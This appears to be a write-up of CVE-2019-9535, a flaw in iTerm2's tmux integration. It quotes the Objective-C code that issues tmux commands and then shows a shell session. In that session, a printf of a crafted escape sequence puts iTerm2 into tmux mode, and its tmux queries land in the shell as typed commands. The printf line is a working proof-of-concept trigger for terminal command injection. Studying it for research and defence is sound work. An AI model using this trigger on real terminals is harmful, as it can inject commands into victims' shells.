- (void)currentCommandResponseFinishedWithError:(BOOL)withError
{
// ......
    if (!_initialized) {
        _initialized = YES;
        if (withError) {
            [delegate_ tmuxInitialCommandDidFailWithError:currentCommandResponse_];
        } else {
            [delegate_ tmuxInitialCommandDidCompleteSuccessfully];
        }
    }
// ......
}

- (void)tmuxInitialCommandDidCompleteSuccessfully {
    // This kicks off a chain reaction that leads to windows being opened.
    [_tmuxController ping];
    [_tmuxController validateOptions];
    [_tmuxController checkForUTF8];
    [_tmuxController guessVersion];
    [_tmuxController loadTitleFormat];
}

- (void)handleShowSetTitles:(NSString *)result {
    _shouldSetTitles = [result isEqualToString:@"on"];
    [[NSNotificationCenter defaultCenter] postNotificationName:kTmuxControllerDidFetchSetTitlesStringOption
                                                        object:self];
}

- (void)handleShowSetTitlesString:(NSString *)setTitlesString {
    _setTitlesString = [setTitlesString copy];
}

- (void)tmuxDidFetchSetTitlesStringOption:(NSNotification *)notification {
    if (notification.object != tmuxController_) {
        return;
    }

    [self updateTmuxTitleMonitor];
}

- (void)updateTmuxTitleMonitor {
    if (!self.isTmuxTab) {
        return;
    }
    if (tmuxController_.shouldSetTitles) {
        if (_tmuxTitleMonitor) {
            return;
        }
        [self installTmuxTitleMonitor];
    } else {
        if (!_tmuxTitleMonitor) {
            return;
        }
        [self uninstallTmuxTitleMonitor];
    }
}

- (void)installTmuxTitleMonitor {
    assert(!_tmuxTitleMonitor);
    if (self.tmuxWindow < 0) {
        return;
    }
    _tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:tmuxController_.gateway
             scope:self.variablesScope
             format:tmuxController_.setTitlesString
             target:[NSString stringWithFormat:@"@%@", @(self.tmuxWindow)]
             variableName:iTermVariableKeyTabTmuxWindowTitle
             block:nil];
    [_tmuxTitleMonitor updateOnce];
    if (self.titleOverride.length == 0) {
        // Show the tmux window title if both the tmux option set-titles is on and the user hasn't
        // already set a title override.
        self.variablesScope.tabTitleOverrideFormat = [NSString stringWithFormat:@"\\(%@?)", iTermVariableKeyTabTmuxWindowTitle];
    }
}

- (void)updateOnce {
    if (_haveOutstandingRequest) {
        DLog(@"Not making a request because one is outstanding");
        return;
    }
    _haveOutstandingRequest = YES;
    NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];
    DLog(@"Request option with command %@", command);
    [self.gateway sendCommand:command
               responseTarget:self
             responseSelector:@selector(didFetch:)
               responseObject:nil
                        flags:kTmuxGatewayCommandShouldTolerateErrors];
}

- (NSString *)escapedFormat {
    return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]
            stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
}

- (void)openWindowsInitial {
    NSString *command = [NSString stringWithFormat:@"show -v -q -t $%d @iterm2_size", sessionId_];
    [gateway_ sendCommand:command
           responseTarget:self
         responseSelector:@selector(handleShowSize:)];
}

- (void)handleShowSize:(NSString *)response {
    NSScanner *scanner = [NSScanner scannerWithString:response ?: @""];
    int width = 0;
    int height = 0;
    BOOL ok = ([scanner scanInt:&width] &&
               [scanner scanString:@"," intoString:nil] &&
               [scanner scanInt:&height]);
    if (ok) {
        [self openWindowsOfSize:VT100GridSizeMake(width, height)];
    } else {
        [self openWindowsOfSize:[[gateway_ delegate] tmuxClientSize]];
    }
}

- (void)openWindowsOfSize:(VT100GridSize)size {
    // ......
    NSString *listWindowsCommand = [NSString stringWithFormat:@"list-windows -F %@", kListWindowsFormat];
    // ......
    NSArray *commands = @[ 
        // ......
        [gateway_ dictionaryForCommand:listWindowsCommand
                responseTarget:self
                responseSelector:@selector(initialListWindowsResponse:)
                responseObject:nil
                flags:0] ];
    [gateway_ sendCommandList:commands];
}

sh-3.2$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0\n%%CVE-2019-9535\n"
** tmux mode started **

Command Menu
----------------------------
esc    Detach cleanly.
  X    Force-quit tmux mode.
  L    Toggle logging.
  C    Run tmux command.
Unrecognized command from tmux. Did your ssh session die? The command was:
sh-3.2$ display-message -p -F .
Detached
sh-3.2$ show-option -g -v status
sh: show-option: command not found
sh-3.2$ list-sessions -F ""
sh: list-sessions: command not found
sh-3.2$ display-message -p "#{version}"
sh: display-message: command not found
sh-3.2$ show-window-options pane-border-format
sh: show-window-options: command not found
sh-3.2$ list-windows -F "#{socket_path}"
sh: list-windows: command not found
sh-3.2$ list-windows -F "#{session_activity}"
sh: list-windows: command not found
sh-3.2$ list-clients -F "#{client_cwd}"
sh: list-clients: command not found
sh-3.2$ show-options -v -g set-titles; show-options -v -g set-titles-string
sh: show-options: command not found
sh: show-options: command not found
sh-3.2$